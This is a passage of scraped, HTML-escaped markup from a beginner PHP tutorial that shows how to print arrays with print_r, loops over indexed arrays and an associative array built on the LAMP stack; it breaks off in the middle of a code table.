&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;array&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Linux&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Apache&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;MySQL&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;PHP&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;If you simply want to display a complex data type like this in PHP for debugging, you can use the &lt;code&gt;print_r()&lt;/code&gt; command:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_790915&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;array&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Linux&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Apache&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;MySQL&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;PHP&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;print_r(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=2&quot;&gt;This gives you all the information&lt;/a&gt;, but it doesn’t help you structure it as HTML:&lt;br /&gt;
&lt;img alt=&quot;Displaying arrays with print_r&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/04/print_r-demo1.jpg&quot; width=&quot;450&quot; /&gt;&lt;br /&gt;
For this, you need to access the elements with the array counter. In PHP this is done with the &lt;code&gt;[]&lt;/code&gt; brackets:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_152489&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;br /&gt;
&lt;ul&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;array&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Linux&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Apache&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;MySQL&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;PHP&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;string&quot;&gt;Operating System:&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[0] . &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;string&quot;&gt;Server:&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[1] . &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;string&quot;&gt;Database:&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[2] . &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;7&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;string&quot;&gt;Language:&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[3] . &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;8&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;9&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;See this &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=3&quot;&gt;demo in action&lt;/a&gt;.&lt;br /&gt;
This is, of course, stupid programming because it is not flexible. If  a computer is able to the dirty work for you, make it do it. In this  case, &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=4&quot;&gt;we can define two arrays and use a loop&lt;/a&gt;:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_592683&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;br /&gt;
&lt;ul&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;array&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Linux&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Apache&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;MySQL&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;PHP&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$labels&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;array&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Operating System&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Server&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Database&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Language&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$length&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= sizeof(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;for&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;( &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$i&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= 0;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$i&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;&amp;lt; &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$length&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$i&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;++ ){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$labels&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$i&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;] . &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;:&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$i&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;] . &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The &lt;code&gt;for&lt;/code&gt; loop works the same as it does in JavaScript. The only difference is that you read the size of an array not with &lt;code&gt;array.length&lt;/code&gt; but with &lt;code&gt;sizeof($array)&lt;/code&gt;.&lt;br /&gt;
Again, this example is not very clever because it assumes that both the &lt;code&gt;$lampstack&lt;/code&gt; and the &lt;code&gt;$labels&lt;/code&gt; array are of the same length and in the same order. Instead of using this, &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=5&quot;&gt;I’d use an associated array&lt;/a&gt;:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_361872&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;br /&gt;
&lt;ul&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;array&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Operating System&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Linux&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Server&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Apache&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Database&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;MySQL&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Language&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;PHP&#39;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$length&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= sizeof(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$keys&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;array_keys&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;for&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;( &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$i&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= 0;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$i&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;&amp;lt; &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$length&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$i&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;++ ){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$keys&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$i&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;] . &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;:&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$keys&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$i&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;]] . &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
